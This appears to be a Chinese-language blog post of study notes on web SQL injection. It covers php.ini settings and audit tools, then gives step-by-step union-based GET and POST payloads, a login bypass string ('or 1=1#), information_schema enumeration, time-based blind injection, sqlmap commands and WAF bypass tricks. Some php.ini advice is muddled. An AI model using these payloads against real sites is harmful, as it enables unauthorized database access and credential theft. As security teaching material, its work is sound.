web安全:關於SQL注入

目錄

0x00 關於php.ini

0x01關於代碼審計的工具

0x02關於OWASP

0x02 關於古老的SQL注入

0x03 GET注入

1.測試是否存在sql注入的方法:

2.推測該表有多少字段:

3.尋找回顯點:

4.利用:

一些常用的函數:

總結:

0x04 POST注入:

自動化測試:

0x04 SQL 報錯注入

0x05 延時注入

0x06 SQL注入安全狗繞過

0x07 繞waf總結:


0x00 關於php.ini

該文件必須命名爲php.ini 並且放置在PHPlniDir指定的目錄中,使用phpinfo()函數可以查看。如果未作修改,windows平臺下一般放在php安裝目錄下。

web應用上線時,你應該修改那些php.ini中的配置:

  1. safe_mode  =off 不要打開,打開可能會導致數據庫連不上等一系列奇怪的錯誤
  2. register_globals 建議關閉
  3. open_basedir 建議關閉,防止目錄遍歷
  4. allow_url_fopen 建議關閉,文件打開限制
  5. magic_quotes_gpc 打開,自動轉義引號和空字符
  6. file_uploads  = on 如果需要文件上傳,需要打開
  7. display_error = off 錯誤顯示,關閉,開發階段因調試需要,需要打開。上線後必須關閉,避免攻擊者獲取更多信息
  8. expose_php=off 隱藏版本信息

0x01關於代碼審計的工具

  1. seay:只有windows版,判斷邏輯比較簡單。
  2. rips:網頁版跨平臺工具 用php寫的,
    1. https://sourceforge.net/projects/rips-scanner/
    2. 下載後將源碼放在服務器的公開目錄下即可。
  3. phpvulhunter:網頁版跨平臺工具 用php寫的 https://www.ctolib.com/topics-102399.html

以上三個工具都只能用於原生php代碼的審計和比較古老的數據庫操作的審計(不能審計PDO),然而現在大多數網站都是框架開發,這三個工具都不能審計框架。

0x02關於OWASP

owasp是一個致力於應用軟件安全研究的組織:

官網top 10:https://owasp.org/www-project-top-ten/

0x02 關於古老的SQL注入

SQL注入漏洞可以說是以下兩個原因疊加造成的:

1.開發者再處理web應用和數據庫交互的過程中,採用字符串拼接來構造語句

2.開發者對可控參數($_GET,$_POST等)沒有進行足夠的過濾就將參數拼接到了SQL語句中

過濾函數:

1.addslashes(字符串)  自動將傳入的字符串中包含的預定義字符轉義,返回值是一個字符串,

預定義字符包括:

  • 單引號(')
  • 雙引號(")
  • 反斜槓(\)
  • NULL

2.mysql_real_escape_string(字符串) 自動將傳入的字符串中包含的以下特殊字符轉義,如果成功,返回值轉義後的一個字符串,如果失敗,返回false;

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

0x03 GET注入

sql注入存在的功能模塊:

GET注入:

  • 搜索框
  • 文章顯示功能

1.測試是否存在sql注入的方法:

方法1:id=1' 在其後加上單引號,如果頁面出現報錯,則說明可能存在sql注入漏洞。

原理:'select * from user where id = 1' '這裏有一個單引號沒有閉合,程序會報錯。

前提:程序沒有屏蔽報錯,例如如下寫法屏蔽了報錯。只會看到沒有搜索結果

方法2:and語句

id = 1 and 1=1

id = 1  and 1=2

id = 1' and 1=1 %23

id = 1" and 1=1 %23

id = 1") and 1=1 %23

id = 1') and 1=1 %23

源碼閉合只有五種情況:沒有閉合,’ ‘,“” ,(“”),(’‘)

先搜索一個一定可以查找的到數據,然後在可控制的參數後加上and 1=1;

如果還能正常查找得到,但是當在可控制的點的參數後面加上and 1=2 時 就找不到了,則說明存在sql注入漏洞

因爲and 1=2這個語句被執行了。

例如:

and 1=1

and 1=2

注意:輸入and 1=2並不會報錯,因爲如果and 1=2能被注入進去的話,這並不是一個錯誤的sql語句,只不過是整個sql語句where條件的返回值一定是false,即找不到符合where條件的數據而已:

當然這裏id=1,1是一個數字,所以後臺代碼沒有給參數加引號,我們直接在其後拼接and 1=2就可以測試

但是如果傳入的參數是一個字符串的話,後臺代碼中很可能給參數加了引號。所以需要先閉合引號。

例如 "select * from where username='$name' " 即:'and 1=2+--+

用'閉合前面的引號,用+--+來註釋長餘的引號

+--+是mysql專用的註釋符號,可以將之後'給註釋掉,經過本人測試:
雖然說--是通用的註釋符號,但是不能註釋掉'

sql註釋符:

  1. +--+
  2. --
  3. /**/
  4. #在url欄中寫#可能會被當成錨點,所以直接寫#的url編碼%23

2.推測該表有多少字段:

id = 1 order by 4

order by語句:開發用來排序,測試用來黑盒推測表的字段數目

推測方法:折半推測法

比如說先order by 8,如果表中有8個字段則不會報錯,如果報錯,就order by 4,如果還報錯就order by 2;

3.尋找回顯點:

id =1 and 1=2 union select 1,2,3,4

注意:先and 1=2 讓正常數據無法回顯,然後聯合查詢的數據纔會顯示出來

查不出正常數據的方法:

方法1:and 1=2

方法2:搜索一個搜不出來的值 例如一個很大的id值

爲什麼要這樣做:

1.如果網站的邏輯是顯示所有查的數據,那麼聯合查詢的數據會被排在最後,屏蔽正常數據,可以讓聯合查詢的數據排到開頭。

2.如果網站的邏輯是顯示符合條件的第一條數據,那麼聯合查詢的數據不會被顯示出來,必須先屏蔽正常數據,讓聯合查詢的那一條數據成爲第一條數據

4.利用:

(1)查詢當前數據庫是什麼:id =1 and 1=2 union select 1,2,3,database()

(2)當前數據庫有哪些表:

方法一:limit遍歷:

源碼中沒有引號的情況:

id = 1 and 1=2  union select 1,2,3,table_name from information_schema.tables where table_schema=database() limit 0,1

源碼中有引號的情況:

id = 1'  and 1=2  union select 1,2,3,table_name from information_schema.tables where table_schema=database() limit 0,1+--+

limit 1,1

limit 2,1

...

直到查不出來爲止

方法二:group_concat將多行數據拼接成一行

id = 1 and 1=2  union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1

(3)這些表有什麼字段:

方法一:limit遍歷法

id= 1' and 1=2   union select 1,column_name from information_schema.columns where table_name='表名' +--+

id= 1  and 1=2   union select 1,column_name from information_schema.columns where table_name='表名'

limit 0,1

limit 1,1

limit 2,1

直到查不出來爲止

方法二:group_concat法

id= 1  and 1=2   union select 1,group_concat(column_name) from information_schema.columns where table_name='表名'

(4)查詢表中數據:

一些常用的函數:

version() :MySQL版本

user():返回用戶名

database():返回數據庫名

@@datadir: 數據庫路徑

@@version_compile_os:操作系統版本

system_user() 系統用戶名

current_user() 當前用戶名

session_user() 連接數據庫的用戶名

https://zhuanlan.zhihu.com/p/71232689

注意:

information_schema是一個是數據庫,裏面存了其他數據庫的信息概要

該庫中的tables表的table_name字段可以用來猜解表

該庫中的columns表中的columns_name可以用來猜解字段。

當前兩步確定好表的字段個數的時候,就可以用union select 來進行查詢我們想要的信息的了:

首先,確定注入的回顯點在哪裏:union select 1,2,3,4

然後,將1,2,3,4中能回顯的修改成我們想要查的東西(假設四個都能回顯):union select database(),user(),version(),@@datadir

也可以替換成

1' union select database(),table_name from information_schema.tables where table_schema=database()

以上語句查出當前數據庫下所有表名之後 ,可以繼續直接查表中的字段

1'  union select 1,column_name from information_schema.columns where table_name='表名' +--+

特別注意:

以上兩條語句能執行的前提是源碼中連接了information_schema 數據庫(系統自帶庫),否則無法查詢成功。

如果mysql版本<5 ,那麼是沒有系統自帶庫的。

第二條語句老師說表名需要用工具轉成16進製表示形式,否則無法成功。

但是,我沒有轉也成功了。。。:

總結:

  1. step1 測試是否存在SQL注入漏洞:
    1. id = 1 and 1=1
    2. id = 1 and 1=2
    3. name=xxxx' and 1=1
    4. name=xxxx' and 1=2
    5. id =1'
  2. step2 判斷本表有多少字段:
  3. id = 1 order by 4
  4. step3 尋找回顯點:
  5. id = 1 and 1=2 union select 1,2,3,4

0x04 POST注入:

POST注入:

  • 登陸框
  • 查詢框
  • 等各種和數據庫有交互的框

萬能密碼:

'or 1=1#

原理:

因爲數據庫登陸功能的sql查詢語句通常是:

select username,password from user where username='$username' and password='$password'

'閉合了前面的單引號,#註釋了之後單引號

注意:

源碼中的閉合方式可能是'xxx' 也可能是"xxxx" ,也可能是('xxx'),或者("xxxx")

所以應該嘗試:

'or 1=1#

"or 1=1#

") or 1=1 #

') or 1=1#

流程:

1.判斷是否存在post注入:

'or 1=1#

'or 1=1 order by 10#

'or 1=1 union select 1,2,3#

'or 1=1 union select 1,2,3 limit 1,1#

注意:登錄框的回顯點往往是登錄成功後用戶名的顯示,萬能密碼登錄成功後,顯示的查詢到的第一條數據,但是我們的聯合查詢

數據排在最後,所以我們可以通過limit 1,1將聯合查詢的數據排在開頭。

2.查詢數據庫中有哪些表:

'or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1#

3.查詢表中有哪些字段:

'or 1=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’flag’ limit 1,1 #

4.查詢表中的信息

這樣語句就變成了查詢數據庫中有沒有username =$username了。

如果想把username也繞過:那麼在username欄中輸入萬能密碼即可

這樣數據庫查詢語句返回的就是該表的所有數據。

自動化測試:

1.sqlmap -u xxxx --form

2.首先sqlmap抓包,然後將包的內容複製到一個1.txt文件中,然後將txt文件保存到sqlmap.py的同目錄下, 然後:sqlmap -r 1.txt

 

0x04 SQL 報錯注入

注:

floor()向下取整

rand()默認是取0到1之間的隨機數,那麼rand()*100就是取0到100之間的隨機數

當然在執行查詢操作的時候,可以給要查的字段名加上聚合函數,即對相應的字段名執行相應的操作

例如:select sum(fee) from user;

注意:select version()需要用括號括起來

報錯查詢老師講得稀爛,先空着

0x05 延時注入

延時注入freebuf公開課:https://www.baidu.com/link?url=etvgOh5H0JR-oO0vJL3LSRzLBe4wGNeBSYbhA8CjyxUIhyD_Usold75bWAya7AlPJWz0cyx6KJs7_56XKdksPa&wd=&eqid=e8911b22000e2b67000000035e4fcab6

延時注入怎麼用?

1.當and 1=1和and 1=2不好使的時候,可以通過 and sleep(10)來測試是否存在注入。注意:一開始的閉合非常重要,需要考慮到後臺的字段值是用引號引起來了,單引號還是雙引號?如果引起來,就需要閉合和註釋,如果沒有引起來,就不能加閉合和註釋,只有把閉合和註釋加對了,才能通過and 1=1 和and 1=2看出效果。一開始的測試語句就相當於一個模板,這個模板寫對了,以後的語句在模板的基礎上修改就可以了。

2.當信息沒有回顯,比如,只是回顯是不是有數據,而不回顯數據時(盲注),可以通過延時注入來猜解數據庫名,表名,猜解其他信息,當然這就需要寫腳本來自動化猜解。

python自動化腳本:

http://next.uuzdaisuki.com/2018/04/22/python%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96sql%E7%9B%B2%E6%B3%A8/

沒有回顯數據,只是回顯數據是否存在,這就是盲注的情況

返回當前數據庫名的字符串長度

表示延遲3秒後返回查詢結果

如果存在sql盲注,可以通過延時查詢來猜表名

if(條件,true時返回,false時返回)

方法:折半測試,例如:先測試是否>10,如果爲false,然後>5然後..

注意:length()函數本身帶了一個一個()但是如果參數是sql語句的話,語句還要用括號括起來

猜到當前數據庫的長度後,可以進一步猜數據庫名。

當然很難一步猜出數據庫名,可以用ord()來逐字符破解

mid()截取字符串

ord()返回字符的ascii碼

0x06 SQL注入安全狗繞過

mysql的註釋方法:

--

+--+

#

/**/

/*! */

如果後端過濾了union等關鍵,那麼UNIunionON 就被替換後就是UNION

還可以將空格單引號等替換成url編碼

sleep()等價於benchmark(),mysql5.0以前都可以用benchmark()

 

0x07 繞waf總結:

如果後臺接受數據用$_REQUEST,這便以爲接受參數爲get,post和cookie(php7中已經無法獲取了),如果waf攔截了get和post注入,我們可以通過cookie進行sql注入

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章